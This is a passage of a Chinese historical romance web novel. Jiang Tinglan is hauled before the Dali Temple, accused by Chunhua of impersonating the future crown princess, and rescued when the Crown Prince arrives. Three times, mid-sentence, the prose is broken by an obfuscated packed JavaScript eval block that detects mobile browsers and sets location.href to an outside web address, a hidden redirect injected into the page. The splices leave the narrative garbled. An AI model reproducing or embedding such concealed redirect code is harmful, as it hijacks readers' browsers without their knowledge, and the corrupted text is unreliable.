眼看冲突即将爆发,李月忽然大步走上前来,质问崔琰景:“大理寺就是这样办案的吗?光天化日、众目睽睽之下,毫无理由便拿人。你们眼里可还有国法?” 崔琰景眯着眼睛打量了她半晌,才勉强认出来:“李……家的人?怎么,你们是嫌自家的麻烦还不够多吗?跑这里来管大理寺的闲事?” “崔少卿这是在威胁我吗?”李月并没有退后,“我李家便是麻烦再多,见到这种不公平的事情,我也要管一管。还有,别把你个人的问题转嫁到大理寺上,大理寺可没让你们滥用职权、为所欲为,便是你们大理寺卿亲自出来拿人,也得告诉别人,她犯了甚么事。” 在江听澜报出崔琰景身份后,她就明白为甚么江听澜要让她躲好——因为刑部常常和大理寺打交道,她哥哥李晷是认识崔少卿的。 她刚才要是贸然上前,肯定已经暴露了。 江听澜在保护她,她便也不能对她的处境置之不理——哪怕她李家已经麻烦重重,哪怕江听澜其实可能有办法解决眼前的事。 “没想到你受伤之后,倒是变得有趣了些。”崔琰景似笑非笑道,“行,我今天就卖你个面子。 ” 李月听到这话,心里“咯噔”了一下。 听语气,崔琰景跟阿兄似乎还挺熟,也不知道他有没有看出破绽? 不过她面上还算镇定,也没说不该说的话。 崔琰景看她一眼,微微侧头对江听澜道:“大理寺有一桩案子和你有关。” 他故意说一半留一半,惹人遐想。 “莫非这江听澜竟是个凶犯?” “看她对犯罪很熟悉的样子,真不好说。” “未来的太子妃,不至于是凶犯吧?” “说不定就是不想让她当这个太子妃呢?” “嘘,小声点,你不要命了?” “……” 李月听这些人刚才明明还对江听澜崇拜有加,结果就因为崔琰景一句似是而非的话,便对她产生各种不好的猜测,心里有气,大声道:“所以,崔少卿是来请江娘子回去配合调查的吗?” 她特意加重了“请”这个字的发音:“那么,你刚才的态度是不是太霸道了一些?” “霸道?”崔琰景朝她靠近两步,盯紧了她的眼睛细看,“比起你们刑部来,大理寺还算好的吧?员外郎今日似乎……” 他有意无意拖长声调,李月感受到了巨大的压迫力,几乎就要后退,暗暗咬紧牙关才勉强顶住,后背已经开始出汗了。 这时候她还忍不住分心想,我果然还是大意了,不该小看古人。 “既然是有案子,配合调查倒是应该。”江听澜适时开口,吸引了崔琰景的注意力,“不过,正如李大人所说,我应当不是嫌犯吧?” 崔琰景扭头看她,终于放过了李月:“现在还不是。” 江听澜没管他的潜台词,礼貌道:“那好,请崔少卿稍等。” 然后回头对阿胡道:“去将车赶来。” “少卿大人。”与此同时,驿丞也终于找到机会对崔琰景道,“这案子你看……” “并非我不愿意接手你们的案子,主要是怕京兆府尹大人参我越权。”崔琰景想了想,道,“这样吧,我安排人留守现场,再派人回去通知府尹大人,让他尽快前来接手。” 驿丞自然不能说不行:“那就麻烦少卿大人了。” 崔琰景又回头挑了几个人,让他们留下来,并叮嘱要保护好现场。 等他这边安排结束,阿胡刚好赶车马车过来了。 “崔少卿,走吧。”江听澜冲崔少卿一抱拳,然后便上了马车。 安娘和小满也跟上去,阿胡一扬鞭子,在众人目瞪口呆之中,悠然自得地将马车赶离了驿站。 就这样坐马车走了? 江听澜是怎么做到既有礼貌又没有礼貌的? 李月心里暗道痛快,然后拔腿追了上去:“我倒是要去看看,是甚么案子。” 崔琰景也是万万没想到,怔了怔后,不得不带着衙役跟上。 如此一来,原本来拿人,现在倒更像是成了江听澜的护卫,来迎接她的了。 他们一走,驿站里除了原本的官员和春花娘子案相关人员,其他人也几乎都跟了上去。 队伍规模还不小,煞是惹眼,引得路人纷纷侧目。 “还得是我们娘子厉害。”小满看到崔琰景明显有些憋屈的样子就高兴,“少卿有甚么了不起?拽甚么拽!” 安娘想得多一些,问江听澜:“娘子,你之前说进入京都后不会太平,可是已经算到崔少卿会来找事?今日在驿站主动破案,也是因为他吗?” “那倒不是。”江听澜也看了眼跟在后面的人群,发现自从崔琰景到后就消失不见的青衣郎君二人也跟在最后面,笑了笑道,“我说不太平,是针对江家。” “江家?”安娘有些意外。 江听澜看着她:“你们之前到过京都,应当知道,京都早有传言,说江家是把江云姝当做未来皇后在培养。” 安娘点点头:“百姓私下里是有这样的传言,江阁老威望甚高,又是帝师,连圣上都要给几分面子;江尚书也是位高权重;江三娘子又素有才名,在京都城的贵女里,确实格外突出。” “如果不是江尚书自己跑去请罪,圣上不可能知道我的存在,自然也就没有欺君之罪。”江听澜继续道,“他们这样做,显然是不想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14906091|160158||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要这太子妃之位,这不合理。” “是啊。”安娘疑惑地看着江听澜,“江家到底想干甚么?” “反正肯定没安好心。”小满对江家是没有半点好印象,“若不是他们,清姐怎会……” 说到一半意识到自己嘴快,急忙闭嘴,有些担心地看向江听澜。 安娘也没有追问,只是赶紧给江听澜倒了杯茶,以转移注意力。 江听澜对此倒是不在意,还向安娘解释:“三年前,有人刺杀阿娘,虽然没有得手,但是阿娘也受了伤。她身体本就不太好,那之后更是落下病根……我目前只查出,杀手来自京都,至于是谁派的,还不知道。这次入京,就是为了报仇。所以,我在驿站要故意出风头。” 她喝了口水,又朝后面一指,笑道:“别以为那些跟着的人都是过往商客官员,他们大部分是来自京都权贵人家,在大安驿站等着,就是为了提前打探关于我的消息。江云姝被圣上指给了三皇子,他们认定我坐不上太子妃之位,如今京都好多人家都蠢蠢欲动。我不把水搅浑了,怎么趁乱摸鱼?” “还是娘子考虑得周到。”安娘甚至佩服,“我之前还以为娘子会选择先韬光养晦。” “没时间给我韬光养晦。”江听澜摇摇头,“我如今在孝期,不太可能成为太子妃。我要在事情定下来之前,先站稳脚跟。” 安娘和小满都点头:“需要我们做甚么,娘子尽管吩咐。” “崔琰景唱的这一出,我确实没算到。”江听澜转了转手里的茶杯,道,“不过,江琮现在的娘子也姓崔,这两家表面上看似没关系,私底下就不好说了,先看看崔琰景想干甚么吧。” 说话间,大理寺到了。 安娘先跳下去,扶着江听澜下了车。 崔琰景看了眼后面跟着的人群,原本大安驿的人就不少,这一路又吸引了不少人来,队伍已经很庞大了。 每个人都望眼欲穿地看着,显然一时半会儿是赶不走了。 崔琰景看看若无其事的江听澜,沉思一瞬,没有为难其他人,而是直接将人带上审讯的大堂。 “江娘子,有人需要确认你的身份。”崔琰景道,“你现在可以摘下惟帽了。” 江听澜这次没有再多说,伸手摘下惟帽。 外面围观人群顿时发出一阵嗡嗡声。 “江听澜竟然长得如此美貌!” “比起江三娘子一点也不输,甚至还要更美!” “又有才能又长得漂亮,就该是太子妃!” “……” 崔琰景一边听着众人的议论,一边观察江听澜的神色。 她表情并无多大变化,一派从容自若,是个沉得住气的。 崔琰景冲旁边的衙役挥了挥手。 衙役跑去后堂,很快押了个女人出来。 一看到这女人的面容,安娘几人都吓了一跳。 这女人赫然是之前失踪的春花娘子! 江听澜倒是依然不动声色。 不等外面围观的人议论出声,女人便指着江听澜大声道:“大人!就是这个女人冒充未来的太子妃!她不是江听澜,真正的江听澜脸上有道刀疤。” 12.第 12 章 在江听澜的马车进了京都城门后,有很多看热闹的百姓加进来,之前跟着的那些人倒是散去了不少。 大安驿站发生的事情,像长了翅膀一样,迅速飞到了京都各大权贵之家。 其中自然也包括江家。 江尚书夫妻俩正对坐饮茶,下人进来汇报,江听澜还没进城门就被崔琰景带人拿去了大理寺,好像是犯了甚么事。 江尚书脸色倏地一沉,将茶杯重重落在桌面上:“当真?简直岂有此理!” “郎君别生气。”江娘子崔氏忙安抚道,“澜儿在小地方长大,身边又无人教导,难免行差踏错。只要不是不可挽回的错误,我们就一定要保下她。往后好好教导也就是了……” 江尚书望着自家娘子,眼神越来越冷。 意识到不对,崔氏话说到一半闭了嘴。 “我刚才说的,是崔琰景。大庭广众,连一个正当理由都说不出来,就直接拿人,这是哪里的规矩?简直岂有此理。”江尚书声音也沉下来,咄咄逼人地问,“娘子以为,我说的是谁?事情还没有定论,就随便给人下定论,可是命妇该有的教养?” 崔氏端着茶杯的手蓦地一紧,深吸一口气,平复下心中情绪,方才道:“我说的,自然也是崔少卿。” 江尚书冷哼一声:“姓崔的,就没几个好东西。” 崔氏“砰”一声,也将手中的杯子重重落在桌子上。 她也姓崔,很难不让人怀疑他是故意的。 江尚书显然也意识到这一点,但他并未道歉,也没有解释。 气氛正紧张,又有仆人从外面进来通报:“主君,娘子,不好了,有人在大理寺指认,说江……大娘子是冒充的!” 崔氏一愣,也顾不得还在跟江尚书置气,问道:“这怎么可能?为何要冒充?” “不知道呢,大理寺还在审理案子。”仆人道,“他们先回来通报一声,说不定会让主君前去认人。” 崔氏看向江尚书:“主君……” “不去。”江尚书一甩袖子,怒道,“崔琰景哪里来的胆子?叫他将人送到江府来!” 崔氏有些惊讶。 她怎么觉得,他不是真的生气,而是……不敢去? 江尚书还真是不敢去。 他怕当众认出江听澜是冒充的。 庄清曾经说过,这辈子绝不会让江听澜与他相认。以她的性格,如果不想抗旨,还真做得出让人假冒的事情! 但假如真是这样,又是谁告的密? 反正无论如何,这件事情都不适宜拿到大理寺去当众审理。 “主君别生气,估计是有小人眼红澜儿身世,污蔑于她。”崔氏脑子里也在快速思忖,边说话边观察江尚书的表情,“主君不方便出面,不如我去将澜儿接回来?不能让她一回家就寒了心啊。” 这话说到江尚书心坎里了,他缓和了脸色,拉住崔氏的手道:“那便辛苦娘子了。” “应该的。”崔氏抽回手起身,“我这便去接人。” * 大理寺大堂外,看热闹的众人听了春花娘子的指认后,也是议论纷纷。 “甚么情况?这竟然不是江听澜?” “也是,清水县那种穷乡僻壤,怎么可能养得出这样的大美人?” “江听澜脸上有疤?那还怎么做太子妃?” “真有人敢假冒太子妃?好大的胆子!” “……” 相比众人激动的情绪,江听澜几人反而要淡定许多。 连小满都笑了:“你是谁呀?你见过我家娘子吗?就知道她脸上有疤?我看你是有病吧!” 春花娘子并不跟小满对峙,而是看着崔琰景道:“大人,民妇说的都是真的。” “证据呢?”崔琰景问。 春花娘子道:“民妇就是清水县人氏,庄娘子在清水县名气不小,民妇对她家的情况很了解。三年前,庄府发生了一起意外,庄娘子受伤,江小娘子为了救母亲毁了容,从此脸上留下一道疤。那疤痕是不可能祛除掉的,眼前这女子,显然不是江小娘子。” 她这话一出来,江听澜微微变了脸色。 三年前的事,知道的人并不多,春花娘子更是和他们素不相识,为何会知道这件事? 莫非是凶手的人? “胡说八道,我们也是清水县人氏,可以证明江小娘子从小就长这样。”安娘姐弟俩也并不清楚三年前的事情,怒道,“你们去清水县随便找个人问问,他们都认识江小娘子,绝不会错。” “冒充也不可能凭空冒充,找有几分相似之人冒充才合理,不是吗?”春花娘子看着江听澜道,“我就问你们,过去三年,江娘子是不是甚少露面?偶尔出现,也都戴着惟帽?” 江听澜也在看春华娘子,若有所思。 安娘没法回答这个问题,李月抢着道:“这算甚么证据?少卿大人,你们大理寺断案,难道都是随便找个人空口白牙一说就行?你可知道,这位春花娘子还是昨晚大安驿站凶杀案的疑犯?她的话,只怕不可信吧?” 听说她就是昨晚逃掉的人,崔琰景也有点意外,问道:“你之前说的实证呢?” 春花娘子反问:“难道这还不算证据?” “这算甚么证据!”崔琰景怒道。 说完才意识到,自己有点急躁了,简直等于在打自己的脸。 他压了压情绪,凑近春花娘子一些,道:“你之前不是这样跟我说的,你最好老实交代,不然我……” “干甚么,干甚么?”李月看不下去了,“少卿大人这是在威胁人吗?” 崔琰景明显是真生气了,对她也没有好脸色:“滚开,大理寺断案还轮不到你插手。” “那么崔大人现在打算怎么断这案子?”江听澜问道,“没有真凭实据,我可要走了。” “等等。”崔琰 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14909832|160158||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 景拦住江听澜。 然后看了眼春花娘子,见她并没有要拿出证据的意思,心里疑惑,又不好当众询问。 外面看热闹的人见事情发展成这样,也都开始不满。 “甚么啊?气势汹汹跑去拿人,结果并没有证据?” “原来大理寺就是这样断案的?” “这也太儿戏了吧?” “……” 崔琰景听着这些话,意识到不能再这样下去,迅速对江听澜道:“这女人报案的时候不是这样说的,她称自己曾是庄家的婢女。因为发现了江娘子被冒充的秘密,差点被灭口。” “昨日,这女子曾当众承认,自己是被刘彪,也就是昨晚大安驿站的死者掳走,强占为妻的良籍女子。”江听澜道。 外面从大安驿站来的人纷纷点头,表示江听澜没有撒谎。 “看来这女人惯会撒谎,我们只怕都被骗了。”崔琰景冲江听澜以抱拳,“没有弄清楚真相就将娘子请来大理寺,是我不对,给娘子道歉。” 这倒是个能屈能伸的,之前那么嚣张,竟也肯说道歉便道歉。 江听澜对此没甚么反应,不说原谅也没说不原谅。 崔琰景见状,话锋一转:“事关娘子清誉,该负的责任我一定负到底——这样吧,我这便去请江尚书来接娘子回家。只要他亲自来了,自不会再有人怀疑娘子的身份。” 显然,他依然认为江听澜是冒充的。 江听澜都有点想笑了。 此次来京都,她想过自己会遇到很多麻烦,唯独没想到,竟然会有人怀疑她的身份。 这实在有点奇怪,这些人到底为甚么会这样想? 倘若是诬陷,对他们有甚么好处? 难道是想借这个理由,将她赶出京都? 可这谎言编得压太粗糙了一些,比当初魏锦和赵昌的信还要假。 见江听澜不说话,崔琰景一挥手道:“来人,去江府……” “等等。”他话还没说完,就被人打断了。 崔琰景有点不爽,一边抬头看过去,一边问道:“是谁……” 说话的是昨天大安驿站的青衣郎君。 他正从人群里大步走过来,黑衣郎君紧紧跟在他身后。 看清他的脸,崔琰景傻眼了:“太子殿下?” “这竟然是太子殿下?” “天呐,我竟然见到了太子殿下!” “快快快,快磕头!” “……” 一时间人群里磕头的、行礼的、震惊的,乱成一团。 崔琰景也回过神来,朝夏祈然行礼。 “免礼。”夏祈然摆摆手。 崔琰景之前并未注意到夏祈然,以为他是自皇子府而来,问道:“不知太子殿下来大理寺,有甚么吩咐?” “孤的太子妃被你们带走了。”夏祈然温和一笑,“孤自然是来接太子妃回家的。” 13.第 13 章 “太子殿下好帅啊!” “来接太子妃!这是已经确定下来了?” “太子都承认,那就不可能是假冒了。” “太子殿下这是在护妻?他们之前就认识?” “……” 大堂外围观众人都兴奋不已,崔琰景却是出了一身的冷汗,勉强找回自己的声音:“殿下,对不起,我之前……好你个大胆刁妇!为何要诬告太子妃?来人,给我拖下去打到她说实话为止!” 后面的话,却是对春花娘子说的。 “太子殿下饶命!”春花娘子“扑通”一下跪倒在夏祈然面前,“我这样做,是有原因的。” 崔琰景想将人拉走,夏祈然已经先开口道:“不急,你慢慢说。” “谢太子殿下。”春花娘子朝他磕了几个头,又朝江听澜磕了个头,“谢谢太子妃娘娘。” 然后才道:“昨日我在驿站说的那些话,全都是真的。我的确来自清水县,但是来自一个小村子里,之前并不认识太子妃娘娘。” “那你为何要来诬告我?”江听澜问道。 “为了活命,也……”春花娘子犹豫了一下,才道,“也想给娘娘提个醒,有人要陷害于你。” 江听澜:“哦?怎么说?” “我被刘彪掳走后,便一直跟着他们走镖。这趟保护谢海生是从衡义县到京都,刚出发没两日,我们便遇到一个女人。那女人独身一人,长得还不错……”春花娘子红着眼眶道,“他们几个都是禽兽,将那女人抓了……” 她停顿了一会儿才继续道:“那女人后来身受重伤,眼看活不成了,他们几个便决定挖个坑将人埋了……那女人便埋在距离云州驿站二十公里外的一处枫树林里,从入口往山上数,第27棵枫树下,旁边还有块像牛头的石头。” 江听澜对她说的这地方有点印象,他们之前路过,看见那块石头,还专门进去看过。 只是没想到,那里会埋着一个人。 春花娘子说得如此细节,看来这次没有撒谎。 不过江听澜还是没说话,只默默听着。 “他们出去挖坑的时候,那女人回光返照,和我说了她的情况。”春华娘子道,“她说,是有人雇她从清水县到京都,来给江娘子泼脏水。她为了省钱,也是想让自己被欺负到走投无路的形象更逼真,才会独自上路。她没出过远门,不知道外面那么危险,被对方给的高价报酬迷了心窍,最后搭上了自己的小命。” 此话一出,人群中又是一阵议论。 如果说先前还有人怀疑江听澜真的有问题,这下基本都信了春花娘子的话。 因为江听澜此番到京都,必定会动某些人的利益,有人看不惯她,甚至想将她赶出京都,甚至弄死她都很正常。 崔琰景脸色难看到极点:“那女人为甚么要告诉你这些?在她看来,你难道不也是害死她的人之一吗?” “因为她已经没有别的人可以说了,而且,我帮她收拾过……她能看出来我也是身不由己,你们男人不会懂这些的。”春花娘子道,“那个女人名叫杏儿,她告诉我这些,也是看出我想逃离刘彪他们。她说,也许到了京都后,我能利用她的身份保命。” 江听澜听到重点:“如何保命?” 春花娘子:“她说,她的雇主告诉她,到了京都后,直接去大理寺告状,自然有人会保她性命。” 所有人都看向崔琰景。 “我不是,我没有……”崔琰景急了,“殿下,我只是接到报案,秉着不要错漏的原则,前去处理罢了。真的没有想到,这背后还有如此多阴谋诡计。” 他看起来情真意切,非常无辜。 夏祈然不置可否:“让她把话说完。” 春花娘子便继续:“我原本也没将这事放在心上,但我确实想逃离刘彪。我接触不到其他人,只能接触到他们三兄弟和雇主。我看得出来,薛三对我有意思,我本来无意,但他承诺,等走完这趟,他会带着我远走高飞。” “我信了他,恰好刘彪让我去勾引谢海生,拿住他的把柄,好讹诈他一笔。谢海生也确实暗中勾搭过我好几回。我也想着,我和薛三以后不做这生意,只怕没甚么来钱的路子,便起了歪心思,想在临走前弄一笔钱……”春花娘子狠狠咬牙,“只是万万没想到,薛三也是个畜牲。” “薛三怎么了?”李月不解,“他不是杀了人,还放你逃跑了?今天他也没出卖你。” 春花娘子惨笑一声:“那是因为他不知道我去了哪里,不敢乱说话。” 紧接着不等其他人再问,她又解释道:“我昨天去找谢海生的时候,没想真跟他做甚么。光天化日,刘彪他们就在驿站,我哪里敢?是我送去的茶水里下了药,那茶水是薛三准备的。” 那些从驿站来的人想到昨天的情况,顿时一片哗然。 “还有那屋顶,哪就那么容易塌了?”春花娘子又道,“是被人动了手脚。” 她说着,看了江听澜一眼。 大家事后的都忙着评头论足,只有她查看了屋子,发现地板被人动过手脚的痕迹。 “薛三买通了驿站的驿卒,然后故意制造惊世骇俗的偷情事件,就算为了杀刘彪和谢海生。这样他就可以独吞两人所有财产——王树没脑子,根本不用担心。” “他本是想制造出刘彪杀人后带着我逃跑的假象,所以他并没有杀我。而是先放我离开驿站,在外面等他。这样就算被抓到,我也会为他撒谎……可他也不想想,他那样设计陷害我,让我在大庭广众丢人,我又怎会看不出他的恶毒用心?” “我知道,以薛三的性格,等事情结束,他一定会杀我灭口。我想过逃走,可我一个女人,独自上路逃亡,最大可能会落得跟杏儿一样的下场。想到杏儿,我自然想到了她说的保命之法,所以我连夜来到城外,等城门一开,就到大理 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14914121|160158||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 寺报假案。” 春花娘子说到这里,转身冲江听澜跪下去,磕了个头:“娘子,对不起。我之前说的那些话,都是胡编乱造的,杏儿告诉过我,你其实是个很好的人。我昨天也看出来了,但我还是故意冤枉了你,无论你要怎么惩罚,我都毫无怨言。” 昨天晚上她被薛三放出驿站后,心里其实完全没有主意。没想到江听澜会突然出现,告诉她薛三在房间动过手脚,还给了她一袋钱,让她赶紧逃命。 春花娘子等江听澜走后,才想起来杏儿的事。她决定来大理寺报假案,既是为了自己,也是为了江听澜——假如大理寺真有人想对她不利,自己这一试便能试出来,她也好有个准备。 如今情况已经明朗,大理寺果然是有问题的。 好在太子殿下甚么都看到了,以他对江娘子的维护,应该会处理好这些事情。 她自己……大概也能捞回一条命吧? “虽说是其情可悯,可你这个做法,确实不对。”江听澜道,“罚是一定要罚的,正好我这趟进京聪明,身边连个干粗活的都没有,你便留下来给我干一年活吧。” 大堂外顿时一片艳羡之声。 太子妃身边干活,那是惩罚吗?那是奖励! 江听澜甚至都没说要让她当奴婢,只说干活。 这简直让人嫉妒! 春花娘子也不敢置信地看向江听澜:“我,我真的可以吗?” 昨日那些事,太子妃不嫌弃? “为甚么不可以?”江听澜疑惑地一眨眼,随后一拍脑袋,看向脸色铁青的崔琰景,“崔少卿,可以吗?” 崔琰景看了眼夏祈然,他正将目光从江听澜身上挪开,嘴角挂着浅浅的微笑。 对上他的视线,那笑便瞬间消失。 很显然,他是赞同江听澜的“处罚”的。 那他一个小小的大理寺少卿,还能说甚么? “自然是可以的。”崔琰景咬着牙道。 “那这桩案子便算是结了?”夏祈然询问崔琰景,“我可以接太子妃走了?” “自然。”崔琰景小心道,“关于春花娘子说的大理寺有人想害太子妃娘娘的事情,下官一定尽快调查清楚,给殿下和娘娘一个交代。” 夏祈然点点头:“辛苦你了。” 江听澜也在同时点头:“辛苦崔少卿。” 崔琰景:“……不辛苦,是下官应该做的。” 正在此时,外面传来通报,说是江府来接江听澜了。 “让他们先回去吧。”江听澜摆摆手道,“春花娘子和昨天驿站的杀人案有关,我们还要去京兆府一趟,将此事了解。” 崔琰景:“……” 她这是恨不得今天便让整个京都都知道她是太子妃了吗? 但是太子好像非常乐意配合。 他为甚么如此纵容江听澜? 总不能是因为爱吧?